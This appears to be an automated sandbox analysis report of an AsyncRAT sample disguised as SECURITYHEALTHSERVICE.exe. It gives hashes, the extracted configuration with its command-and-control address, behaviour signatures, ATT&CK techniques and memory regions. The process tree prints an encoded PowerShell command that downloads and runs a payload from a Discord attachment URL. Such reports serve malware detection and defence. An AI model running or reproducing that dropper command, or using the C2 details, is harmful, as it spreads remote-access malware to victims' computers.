Analysis

  • max time kernel
    22s
  • max time network
    29s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    04-11-2022 21:17

General

  • Target

    SECURITYHEALTHSERVICE.exe

  • Size

    6KB

  • MD5

    d7b61ed02a876336d7f0ef3f2fae3827

  • SHA1

    9aaf625ec1e7d7aa29a7d90ce4cafdfc35723fac

  • SHA256

    2e618a6cf8584a8a3aea443c98360a32c4eb678a8a457df58ae7f8a66ebe23ee

  • SHA512

    817b046a97eb5435d64a67487250bd21e97b0b60af5c3fced1f2b05e3f88967deddfe829e21f349a730e90cb40d3c1f780e7e961760d27c8a79fa2412a2ab576

  • SSDEEP

    192:PZo9c33aUqN0kbjwNNtUqTGkb/pm1v5ldj:xo9v/ONt/T/Ipj

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

WindowsDefenderSmarttScreen

C2

217.64.31.3:9742

Mutex

WindowsDefenderSmarttScreen

Attributes
  • delay

    1

  • install

    false

  • install_file

    WindowsDefenderSmarttScreen.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SECURITYHEALTHSERVICE.exe
    "C:\Users\Admin\AppData\Local\Temp\SECURITYHEALTHSERVICE.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3836
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADIANwAxADkANQAyADkAMgA4ADgAMwAzADcAMAAwADMANAAvADEAMAAzADcANwAxADcANAA3ADMAMQA3ADQAMgAyADkAMAAzADIALwBXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgBTAG0AYQByAHQAdABTAGMAcgBlAGUAbgAuAGUAeABlACcALAAgADwAIwBtAHUAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGEAaAByACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGoAawBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGEAYgA1ADQAMQBmADIALgBlAHgAZQAnACkAKQA8ACMAcgBiAHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBkAGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAaQB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGEAYgA1ADQAMQBmADIALgBlAHgAZQAnACkAPAAjAHEAZwBjACMAPgA="
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4760
      • C:\Users\Admin\AppData\Roaming\ab541f2.exe
        "C:\Users\Admin\AppData\Roaming\ab541f2.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        PID:4852

Network

MITRE ATT&CK Matrix ATT&CK v6

Persistence

Registry Run Keys / Startup Folder

1
T1060

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\ab541f2.exe
    Filesize

    4.2MB

    MD5

    b60e44033994d1fde9a4b6f1338bfa04

    SHA1

    7f2cd8091276040ca011174269112099ec3e9bef

    SHA256

    baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e

    SHA512

    a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574

  • C:\Users\Admin\AppData\Roaming\ab541f2.exe
    Filesize

    4.2MB

    MD5

    b60e44033994d1fde9a4b6f1338bfa04

    SHA1

    7f2cd8091276040ca011174269112099ec3e9bef

    SHA256

    baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e

    SHA512

    a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574

  • memory/3836-118-0x0000000000E00000-0x0000000000E08000-memory.dmp
    Filesize

    32KB

  • memory/4760-119-0x0000000000000000-mapping.dmp
  • memory/4760-124-0x000002871B280000-0x000002871B2A2000-memory.dmp
    Filesize

    136KB

  • memory/4760-127-0x0000028733990000-0x0000028733A06000-memory.dmp
    Filesize

    472KB

  • memory/4852-142-0x0000000000000000-mapping.dmp
  • memory/4852-144-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-146-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-147-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-148-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-149-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-150-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-151-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-152-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-154-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-155-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-156-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-157-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-158-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-159-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-160-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-161-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-162-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-163-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-164-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-165-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-166-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-167-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-168-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-169-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-170-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-171-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-172-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-173-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-174-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-175-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-176-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-177-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-178-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-179-0x00000000003A0000-0x00000000007CE000-memory.dmp
    Filesize

    4.2MB

  • memory/4852-180-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-181-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-182-0x0000000005040000-0x00000000050DC000-memory.dmp
    Filesize

    624KB

  • memory/4852-183-0x00000000055E0000-0x0000000005ADE000-memory.dmp
    Filesize

    5.0MB

  • memory/4852-184-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-185-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-186-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-187-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-188-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-189-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-190-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-191-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-192-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-193-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-194-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-195-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-196-0x0000000002AD0000-0x0000000002AE2000-memory.dmp
    Filesize

    72KB

  • memory/4852-197-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-198-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-199-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-200-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-201-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-202-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-203-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-204-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB

  • memory/4852-205-0x0000000077A40000-0x0000000077BCE000-memory.dmp
    Filesize

    1.6MB